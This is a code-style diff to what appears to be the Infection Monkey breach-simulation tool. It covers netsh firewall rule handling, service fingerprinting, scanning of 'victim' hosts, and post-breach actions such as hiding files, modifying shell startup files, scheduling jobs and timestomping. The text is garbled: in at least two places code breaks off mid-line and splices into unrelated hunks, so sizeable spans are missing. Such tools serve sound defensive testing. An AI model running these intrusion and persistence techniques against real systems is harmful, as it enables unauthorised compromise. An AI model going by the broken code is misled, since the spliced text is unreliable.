remove_firewall_rule(self, name="Firewall", **kwargs): - netsh_args = {'name': name} + netsh_args = {"name": name} netsh_args.update(kwargs) try: - if _run_netsh_cmd('advfirewall firewall delete rule', netsh_args): + if _run_netsh_cmd("advfirewall firewall delete rule", netsh_args): if name in self._rules: del self._rules[name] return True @@ -83,10 +88,12 @@ def listen_allowed(self, **kwargs): return True for rule in list(self._rules.values()): - if rule.get('program') == sys.executable and \ - 'in' == rule.get('dir') and \ - 'allow' == rule.get('action') and \ - 4 == len(list(rule.keys())): + if ( + rule.get("program") == sys.executable + and "in" == rule.get("dir") + and "allow" == rule.get("action") + and 4 == len(list(rule.keys())) + ): return True return False @@ -104,29 +111,33 @@ def __init__(self): def is_enabled(self): try: - cmd = subprocess.Popen('netsh firewall show state', stdout=subprocess.PIPE) + cmd = subprocess.Popen("netsh firewall show state", stdout=subprocess.PIPE) out = cmd.stdout.readlines() for line in out: - if line.startswith('Operational mode'): - state = line.split('=')[-1].strip() - elif line.startswith('The service has not been started.'): + if line.startswith("Operational mode"): + state = line.split("=")[-1].strip() + elif line.startswith("The service has not been started."): return False return state == "Enable" except Exception: return None - def add_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable, - **kwargs): - netsh_args = {'name': name, - 'mode': mode, - 'program': program} + def add_firewall_rule( + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, + ): + netsh_args = {"name": name, "mode": mode, "program": program} netsh_args.update(kwargs) try: - if _run_netsh_cmd('firewall add %s' % rule, netsh_args): - netsh_args['rule'] = rule + if _run_netsh_cmd("firewall add %s" % rule, netsh_args): + netsh_args["rule"] = rule self._rules[name] = netsh_args return True else: @@ -134,12 +145,18 @@ def add_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE except Exception: return None - def remove_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable, - **kwargs): - netsh_args = {'program': program} + def remove_firewall_rule( + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, + ): + netsh_args = {"program": program} netsh_args.update(kwargs) try: - if _run_netsh_cmd('firewall delete %s' % rule, netsh_args): + if _run_netsh_cmd("firewall delete %s" % rule, netsh_args): if name in self._rules: del self._rules[name] return True @@ -153,7 +170,7 @@ def listen_allowed(self, **kwargs): return True for rule in list(self._rules.values()): - if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'): + if rule.get("program") == sys.executable and "ENABLE" == rule.get("mode"): return True return False @@ -167,7 +184,7 @@ def close(self): if sys.platform == "win32": try: - win_ver = int(platform.version().split('.')[0]) + win_ver = int(platform.version().split(".")[0]) except Exception: win_ver = 0 if win_ver > 5: diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 86c48cbde48..8fa6071e7d2 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -10,7 +10,8 @@ class HTTPFinger(HostFinger): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ - _SCANNED_SERVICE = 'HTTP' + + _SCANNED_SERVICE = "HTTP" def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -35,11 +36,11 @@ def get_host_fingerprint(self, host): for url in (https, http): # start with https and downgrade try: with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 - server = req.headers.get('Server') - ssl = True if 'https://' in url else False - self.init_service(host.services, ('tcp-' + port[1]), port[0]) - host.services['tcp-' + port[1]]['name'] = 'http' - host.services['tcp-' + port[1]]['data'] = (server, ssl) + server = req.headers.get("Server") + ssl = True if "https://" in url else False + self.init_service(host.services, ("tcp-" + port[1]), port[0]) + host.services["tcp-" + port[1]]["name"] = "http" + host.services["tcp-" + port[1]]["data"] = (server, ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port except Timeout: diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 22de0eebbc3..21adae9f87d 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -16,7 +16,7 @@ TIMEOUT = 15 LOOPBACK_NAME = b"lo" SIOCGIFADDR = 0x8915 # get PA address -SIOCGIFNETMASK = 0x891b # get network PA mask +SIOCGIFNETMASK = 0x891B # get network PA mask RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 @@ -27,36 +27,40 @@ def get_host_subnets(): Each subnet item contains the host IP in that network + the subnet. :return: List of dict, keys are "addr" and "subnet" """ - ipv4_nets = [netifaces.ifaddresses(interface)[netifaces.AF_INET] - for interface in netifaces.interfaces() - if netifaces.AF_INET in netifaces.ifaddresses(interface) - ] + ipv4_nets = [ + netifaces.ifaddresses(interface)[netifaces.AF_INET] + for interface in netifaces.interfaces() + if netifaces.AF_INET in netifaces.ifaddresses(interface) + ] # flatten ipv4_nets = itertools.chain.from_iterable(ipv4_nets) # remove loopback - ipv4_nets = [network for network in ipv4_nets if network['addr'] != '127.0.0.1'] + ipv4_nets = [network for network in ipv4_nets if network["addr"] != "127.0.0.1"] # remove auto conf - ipv4_nets = [network for network in ipv4_nets if not network['addr'].startswith('169.254')] + ipv4_nets = [network for network in ipv4_nets if not network["addr"].startswith("169.254")] for network in ipv4_nets: - if 'broadcast' in network: - network.pop('broadcast') + if "broadcast" in network: + network.pop("broadcast") for attr in network: network[attr] = network[attr] return ipv4_nets if is_windows_os(): + def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] def get_routes(): raise NotImplementedError() + + else: from fcntl import ioctl def local_ips(): - valid_ips = [network['addr'] for network in get_host_subnets()] + valid_ips = [network["addr"] for network in get_host_subnets()] return valid_ips def get_routes(): # based on scapy implementation for route parsing @@ -92,10 +96,15 @@ def get_routes(): # based on scapy implementation for route parsing ifaddr = socket.inet_ntoa(ifreq[20:24]) else: continue - routes.append((socket.htonl(int(dst, 16)) & 0xffffffff, - socket.htonl(int(msk, 16)) & 0xffffffff, - socket.inet_ntoa(struct.pack("I", int(gw, 16))), - iff, ifaddr)) + routes.append( + ( + socket.htonl(int(dst, 16)) & 0xFFFFFFFF, + socket.htonl(int(msk, 16)) & 0xFFFFFFFF, + socket.inet_ntoa(struct.pack("I", int(gw, 16))), + iff, + ifaddr, + ) + ) f.close() return routes @@ -142,23 +151,27 @@ def get_interfaces_ranges(): res = [] ifs = get_host_subnets() for net_interface in ifs: - address_str = net_interface['addr'] - netmask_str = net_interface['netmask'] + address_str = net_interface["addr"] + netmask_str = net_interface["netmask"] # limit subnet scans to class C only res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res if is_windows_os(): + def get_ip_for_connection(target_ip): return None + + else: + def get_ip_for_connection(target_ip): try: - query_str = 'ip route get %s' % target_ip + query_str = "ip route get %s" % target_ip resp = check_output(query_str.split()) substr = resp.split() - src = substr[substr.index('src') + 1] + src = substr[substr.index("src") + 1] return src except Exception: return None diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 8d934677eaf..3113d278f97 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -5,7 +5,7 @@ import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger -__author__ = 'Maor Rayzin' +__author__ = "Maor Rayzin" LOG = logging.getLogger(__name__) @@ -15,19 +15,19 @@ class MSSQLFinger(HostFinger): SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 TIMEOUT = 5 - _SCANNED_SERVICE = 'MSSQL' + _SCANNED_SERVICE = "MSSQL" def __init__(self): self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """Gets Microsoft SQL Server instance information by querying the SQL Browser service. - :arg: - host (VictimHost): The MS-SSQL Server to query for information. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. - :returns: - Discovered server information written to the Host info struct. - True if success, False otherwise. + :returns: + Discovered server information written to the Host info struct. + True if success, False otherwise. """ # Create a UDP socket and sets a timeout @@ -37,43 +37,56 @@ def get_host_fingerprint(self, host): # The message is a CLNT_UCAST_EX packet to get all instances # https://msdn.microsoft.com/en-us/library/cc219745.aspx - message = '\x03' + message = "\x03" # Encode the message as a bytesarray message = message.encode() # send data and receive response try: - LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) + LOG.info("Sending message to requested host: {0}, {1}".format(host, message)) sock.sendto(message, server_address) data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.info( + "Socket timeout reached, maybe browser service on host: {0} doesnt exist".format( + host + ) + ) sock.close() return False except socket.error as e: if e.errno == errno.ECONNRESET: - LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' - .format(host)) + LOG.info( + "Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.".format( + host + ) + ) else: - LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', - exc_info=True) + LOG.error( + "An unknown socket error occurred while trying the mssql fingerprint, closing socket.", + exc_info=True, + ) sock.close() return False - self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT) + self.init_service( + host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT + ) # Loop through the server data - instances_list = data[3:].decode().split(';;') - LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + instances_list = data[3:].decode().split(";;") + LOG.info("{0} MSSQL instances found".format(len(instances_list))) for instance in instances_list: - instance_info = instance.split(';') + instance_info = instance.split(";") if len(instance_info) > 1: host.services[self._SCANNED_SERVICE][instance_info[1]] = {} for i in range(1, len(instance_info), 2): # Each instance's info is nested under its own name, if there are multiple instances # each will appear under its own name - host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] + host.services[self._SCANNED_SERVICE][instance_info[1]][ + instance_info[i - 1] + ] = instance_info[i] # Close the socket sock.close() diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 968e5361fb1..c04814c9f4d 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -6,15 +6,16 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string MYSQL_PORT = 3306 -SQL_SERVICE = 'mysqld-3306' +SQL_SERVICE = "mysqld-3306" LOG = logging.getLogger(__name__) class MySQLFinger(HostFinger): """ - Fingerprints mysql databases, only on port 3306 + Fingerprints mysql databases, only on port 3306 """ - _SCANNED_SERVICE = 'MySQL' + + _SCANNED_SERVICE = "MySQL" SOCKET_TIMEOUT = 0.5 HEADER_SIZE = 4 # in bytes @@ -36,7 +37,7 @@ def get_host_fingerprint(self, host): response, curpos = struct_unpack_tracker(header, 0, "I") response = response[0] - response_length = response & 0xff # first byte is significant + response_length = response & 0xFF # first byte is significant data = s.recv(response_length) # now we can start parsing protocol, curpos = struct_unpack_tracker(data, 0, "B") @@ -47,14 +48,16 @@ def get_host_fingerprint(self, host): LOG.debug("Mysql server returned error") return False - version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing + version, curpos = struct_unpack_tracker_string( + data, curpos + ) # special coded to solve string parsing version = version[0].decode() self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) - host.services[SQL_SERVICE]['version'] = version - version = version.split('-')[0].split('.') - host.services[SQL_SERVICE]['major_version'] = version[0] - host.services[SQL_SERVICE]['minor_version'] = version[1] - host.services[SQL_SERVICE]['build_version'] = version[2] + host.services[SQL_SERVICE]["version"] = version + version = version.split("-")[0].split(".") + host.services[SQL_SERVICE]["major_version"] = version[0] + host.services[SQL_SERVICE]["minor_version"] = version[1] + host.services[SQL_SERVICE]["build_version"] = version[2] thread_id, curpos = struct_unpack_tracker(data, curpos, " 1: for subnet_str in WormConfiguration.inaccessible_subnets: - if NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], subnet_str): + if NetworkScanner._is_any_ip_in_subnet( + [str(x) for x in self._ip_addresses], subnet_str + ): # If machine has IPs from 2 different subnets in the same group, there's no point checking the other # subnet. for other_subnet_str in WormConfiguration.inaccessible_subnets: if other_subnet_str == subnet_str: continue - if not NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], - other_subnet_str): + if not NetworkScanner._is_any_ip_in_subnet( + [str(x) for x in self._ip_addresses], other_subnet_str + ): subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) break @@ -74,7 +79,9 @@ def get_victim_machines(self, max_find=5, stop_callback=None): # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher than CPU core size # But again, balance pool = Pool(ITERATION_BLOCK_SIZE) - victim_generator = VictimHostGenerator(self._ranges, WormConfiguration.blocked_ips, local_ips()) + victim_generator = VictimHostGenerator( + self._ranges, WormConfiguration.blocked_ips, local_ips() + ) victims_count = 0 for victim_chunk in victim_generator.generate_victims(ITERATION_BLOCK_SIZE): diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index fd19550a347..dd1577e4708 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -8,11 +8,11 @@ from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.HostScanner import HostScanner -__author__ = 'itamar' +__author__ = "itamar" PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c" PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W" -TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+' +TTL_REGEX_STR = r"(?<=TTL\=)[0-9]+" LINUX_TTL = 64 WINDOWS_TTL = 128 @@ -20,7 +20,7 @@ class PingScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = '' + _SCANNED_SERVICE = "" def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -33,12 +33,11 @@ def is_host_alive(self, host): if not "win32" == sys.platform: timeout /= 1000 - return 0 == subprocess.call(["ping", - PING_COUNT_FLAG, "1", - PING_TIMEOUT_FLAG, str(timeout), - host.ip_addr], - stdout=self._devnull, - stderr=self._devnull) + return 0 == subprocess.call( + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=self._devnull, + stderr=self._devnull, + ) def get_host_fingerprint(self, host): @@ -50,7 +49,7 @@ def get_host_fingerprint(self, host): ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], stdout=subprocess.PIPE, stderr=subprocess.PIPE, - text=True + text=True, ) output = " ".join(sub_proc.communicate()) @@ -59,9 +58,9 @@ def get_host_fingerprint(self, host): try: ttl = int(regex_result.group(0)) if ttl <= LINUX_TTL: - host.os['type'] = 'linux' + host.os["type"] = "linux" else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. - host.os['type'] = 'windows' + host.os["type"] = "windows" host.icmp = True diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index 031765dd845..16f6327f93f 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -48,9 +48,7 @@ def get_host_fingerprint(self, host): # if it comes here, the creds worked # this shouldn't happen since capital letters are not supported in postgres usernames # perhaps the service is a honeypot - self.init_service( - host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT - ) + self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = ( "The PostgreSQL server was unexpectedly accessible with the credentials - " + f"user: '{self.CREDS['username']}' and password: '{self.CREDS['password']}'. Is this a honeypot?" @@ -75,18 +73,13 @@ def get_host_fingerprint(self, host): return False def _is_relevant_exception(self, exception_string): - if not any( - substr in exception_string - for substr in self.RELEVANT_EX_SUBSTRINGS.values() - ): + if not any(substr in exception_string for substr in self.RELEVANT_EX_SUBSTRINGS.values()): # OperationalError due to some other reason - irrelevant exception return False return True def analyze_operational_error(self, host, exception_string): - self.init_service( - host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT - ) + self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) exceptions = exception_string.split("\n") @@ -98,17 +91,15 @@ def analyze_operational_error(self, host, exception_string): else: # SSL not configured self.get_connection_details_ssl_not_configured(exceptions) - host.services[self._SCANNED_SERVICE][ - "communication_encryption_details" - ] = "".join(self.ssl_connection_details) + host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = "".join( + self.ssl_connection_details + ) @staticmethod def is_ssl_configured(exceptions): # when trying to authenticate, it checks pg_hba.conf file: # first, for a record where it can connect with SSL and second, without SSL - if ( - len(exceptions) == 1 - ): # SSL not configured on server so only checks for non-SSL record + if len(exceptions) == 1: # SSL not configured on server so only checks for non-SSL record return False elif len(exceptions) == 2: # SSL configured so checks for both return True @@ -131,22 +122,16 @@ def get_connection_details_ssl_configured(self, exceptions): if ( ssl_selected_comms_only ): # if only selected SSL allowed and only selected non-SSL allowed - self.ssl_connection_details[-1] = self.CONNECTION_DETAILS[ - "only_selected" - ] + self.ssl_connection_details[-1] = self.CONNECTION_DETAILS["only_selected"] else: - self.ssl_connection_details.append( - self.CONNECTION_DETAILS["selected_non_ssl"] - ) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["selected_non_ssl"]) def get_connection_details_ssl_not_configured(self, exceptions): self.ssl_connection_details.append(self.CONNECTION_DETAILS["ssl_not_conf"]) if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"]) else: - self.ssl_connection_details.append( - self.CONNECTION_DETAILS["selected_non_ssl"] - ) + self.ssl_connection_details.append(self.CONNECTION_DETAILS["selected_non_ssl"]) @staticmethod def found_entry_for_host_but_pwd_auth_failed(exception): diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index f822822da3a..457d0213d56 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -7,15 +7,17 @@ from infection_monkey.network.HostFinger import HostFinger SMB_PORT = 445 -SMB_SERVICE = 'tcp-445' +SMB_SERVICE = "tcp-445" LOG = logging.getLogger(__name__) class Packet: - fields = odict([ - ("data", ""), - ]) + fields = odict( + [ + ("data", ""), + ] + ) def __init__(self, **kw): self.fields = odict(self.__class__.fields) @@ -26,91 +28,103 @@ def __init__(self, **kw): self.fields[k] = v def to_byte_string(self): - content_list = [(x.to_byte_string() if hasattr(x, "to_byte_string") else x) for x in self.fields.values()] + content_list = [ + (x.to_byte_string() if hasattr(x, "to_byte_string") else x) + for x in self.fields.values() + ] return b"".join(content_list) # SMB Packets class SMBHeader(Packet): - fields = odict([ - ("proto", b"\xff\x53\x4d\x42"), - ("cmd", b"\x72"), - ("errorcode", b"\x00\x00\x00\x00"), - ("flag1", b"\x00"), - ("flag2", b"\x00\x00"), - ("pidhigh", b"\x00\x00"), - ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", b"\x00\x00"), - ("tid", b"\x00\x00"), - ("pid", b"\x00\x00"), - ("uid", b"\x00\x00"), - ("mid", b"\x00\x00"), - ]) + fields = odict( + [ + ("proto", b"\xff\x53\x4d\x42"), + ("cmd", b"\x72"), + ("errorcode", b"\x00\x00\x00\x00"), + ("flag1", b"\x00"), + ("flag2", b"\x00\x00"), + ("pidhigh", b"\x00\x00"), + ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", b"\x00\x00"), + ("tid", b"\x00\x00"), + ("pid", b"\x00\x00"), + ("uid", b"\x00\x00"), + ("mid", b"\x00\x00"), + ] + ) class SMBNego(Packet): - fields = odict([ - ("wordcount", b"\x00"), - ("bcc", b"\x62\x00"), - ("data", "") - ]) + fields = odict([("wordcount", b"\x00"), ("bcc", b"\x62\x00"), ("data", "")]) def calculate(self): self.fields["bcc"] = struct.pack(" 0. false || true -> 0. false || false -> 1. So: # if curl works, we're good. @@ -69,12 +78,19 @@ def send_result_telemetry(self, exit_status, commandline, username): :param username: Username from which the command was executed, for reporting back. """ if exit_status == 0: - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)).send() + PostBreachTelem( + self, (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True) + ).send() else: - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( - commandline, username, exit_status, twos_complement(exit_status)), False)).send() + PostBreachTelem( + self, + ( + CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( + commandline, username, exit_status, twos_complement(exit_status) + ), + False, + ), + ).send() def twos_complement(exit_status): diff --git a/monkey/infection_monkey/post_breach/actions/discover_accounts.py b/monkey/infection_monkey/post_breach/actions/discover_accounts.py index 4d6e5f87da9..8fdebd0df97 100644 --- a/monkey/infection_monkey/post_breach/actions/discover_accounts.py +++ b/monkey/infection_monkey/post_breach/actions/discover_accounts.py @@ -1,11 +1,13 @@ from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY -from infection_monkey.post_breach.account_discovery.account_discovery import get_commands_to_discover_accounts +from infection_monkey.post_breach.account_discovery.account_discovery import ( + get_commands_to_discover_accounts, +) from infection_monkey.post_breach.pba import PBA class AccountDiscovery(PBA): def __init__(self): linux_cmds, windows_cmds = get_commands_to_discover_accounts() - super().__init__(POST_BREACH_ACCOUNT_DISCOVERY, - linux_cmd=' '.join(linux_cmds), - windows_cmd=windows_cmds) + super().__init__( + POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds + ) diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index baba3afea3c..c6e1d1a6bd2 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -2,12 +2,14 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.hidden_files import (cleanup_hidden_files, get_commands_to_hide_files, - get_commands_to_hide_folders) +from infection_monkey.utils.hidden_files import ( + cleanup_hidden_files, + get_commands_to_hide_files, + get_commands_to_hide_folders, +) from infection_monkey.utils.windows.hidden_files import get_winAPI_to_hide_files -HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files, - get_commands_to_hide_folders] +HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files, get_commands_to_hide_folders] class HiddenFiles(PBA): @@ -22,9 +24,11 @@ def run(self): # create hidden files and folders for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS: linux_cmds, windows_cmds = function_to_get_commands() - super(HiddenFiles, self).__init__(name=POST_BREACH_HIDDEN_FILES, - linux_cmd=' '.join(linux_cmds), - windows_cmd=windows_cmds) + super(HiddenFiles, self).__init__( + name=POST_BREACH_HIDDEN_FILES, + linux_cmd=" ".join(linux_cmds), + windows_cmd=windows_cmds, + ) super(HiddenFiles, self).run() if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index c10575d39c4..eea61ed2f57 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -2,8 +2,9 @@ from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from infection_monkey.post_breach.pba import PBA -from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import \ - get_commands_to_modify_shell_startup_files +from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import ( + get_commands_to_modify_shell_startup_files, +) from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -24,37 +25,42 @@ def run(self): def modify_shell_startup_PBA_list(self): return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas() - class ShellStartupPBAGenerator(): + class ShellStartupPBAGenerator: def get_modify_shell_startup_pbas(self): - (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux),\ - (cmds_for_windows, shell_startup_files_per_user_for_windows) =\ - get_commands_to_modify_shell_startup_files() + (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux), ( + cmds_for_windows, + shell_startup_files_per_user_for_windows, + ) = get_commands_to_modify_shell_startup_files() pbas = [] for startup_file_per_user in shell_startup_files_per_user_for_windows: - windows_cmds = ' '.join(cmds_for_windows).format(startup_file_per_user) - pbas.append(self.ModifyShellStartupFile(linux_cmds='', windows_cmds=windows_cmds)) + windows_cmds = " ".join(cmds_for_windows).format(startup_file_per_user) + pbas.append(self.ModifyShellStartupFile(linux_cmds="", windows_cmds=windows_cmds)) for username in usernames_for_linux: for shell_startup_file in shell_startup_files_for_linux: - linux_cmds = ' '.join(cmds_for_linux).format(shell_startup_file).format(username) - pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds='')) + linux_cmds = ( + " ".join(cmds_for_linux).format(shell_startup_file).format(username) + ) + pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds="")) return pbas class ModifyShellStartupFile(PBA): def __init__(self, linux_cmds, windows_cmds): - super().__init__(name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, - linux_cmd=linux_cmds, - windows_cmd=windows_cmds) + super().__init__( + name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + linux_cmd=linux_cmds, + windows_cmd=windows_cmds, + ) def run(self): if self.command: try: - output = subprocess.check_output(self.command, # noqa: DUO116 - stderr=subprocess.STDOUT, - shell=True).decode() + output = subprocess.check_output( + self.command, stderr=subprocess.STDOUT, shell=True # noqa: DUO116 + ).decode() return output, True except subprocess.CalledProcessError as e: # Return error output of the command diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index fda4a737909..e7845968a0c 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -1,6 +1,8 @@ from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING -from infection_monkey.post_breach.job_scheduling.job_scheduling import (get_commands_to_schedule_jobs, - remove_scheduled_jobs) +from infection_monkey.post_breach.job_scheduling.job_scheduling import ( + get_commands_to_schedule_jobs, + remove_scheduled_jobs, +) from infection_monkey.post_breach.pba import PBA @@ -12,9 +14,11 @@ class ScheduleJobs(PBA): def __init__(self): linux_cmds, windows_cmds = get_commands_to_schedule_jobs() - super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING, - linux_cmd=' '.join(linux_cmds), - windows_cmd=windows_cmds) + super(ScheduleJobs, self).__init__( + name=POST_BREACH_JOB_SCHEDULING, + linux_cmd=" ".join(linux_cmds), + windows_cmd=windows_cmds, + ) def run(self): super(ScheduleJobs, self).run() diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py index bf02664eb6c..ece98710750 100644 --- a/monkey/infection_monkey/post_breach/actions/timestomping.py +++ b/monkey/infection_monkey/post_breach/actions/timestomping.py @@ -6,6 +6,4 @@ class Timestomping(PBA): def __init__(self): linux_cmds, windows_cmds = get_timestomping_commands() - super().__init__(POST_BREACH_TIMESTOMPING, - linux_cmd=linux_cmds, - windows_cmd=windows_cmds) + super().__init__(POST_BREACH_TIMESTOMPING, linux_cmd=linux_cmds, windows_cmd=windows_cmds) diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index ed9f665f0ec..555de46676d 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -4,7 +4,9 @@ from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( - cleanup_changes, get_commands_to_proxy_execution_using_signed_script) + cleanup_changes, + get_commands_to_proxy_execution_using_signed_script, +) from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -13,18 +15,20 @@ class SignedScriptProxyExecution(PBA): def __init__(self): windows_cmds = get_commands_to_proxy_execution_using_signed_script() - super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, - windows_cmd=' '.join(windows_cmds)) + super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, windows_cmd=" ".join(windows_cmds)) def run(self): try: - original_comspec = '' + original_comspec = "" if is_windows_os(): - original_comspec =\ - subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116 + original_comspec = subprocess.check_output( + "if defined COMSPEC echo %COMSPEC%", shell=True + ).decode() # noqa: DUO116 super().run() except Exception as e: - LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}") + LOG.warning( + f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}" + ) finally: cleanup_changes(original_comspec) 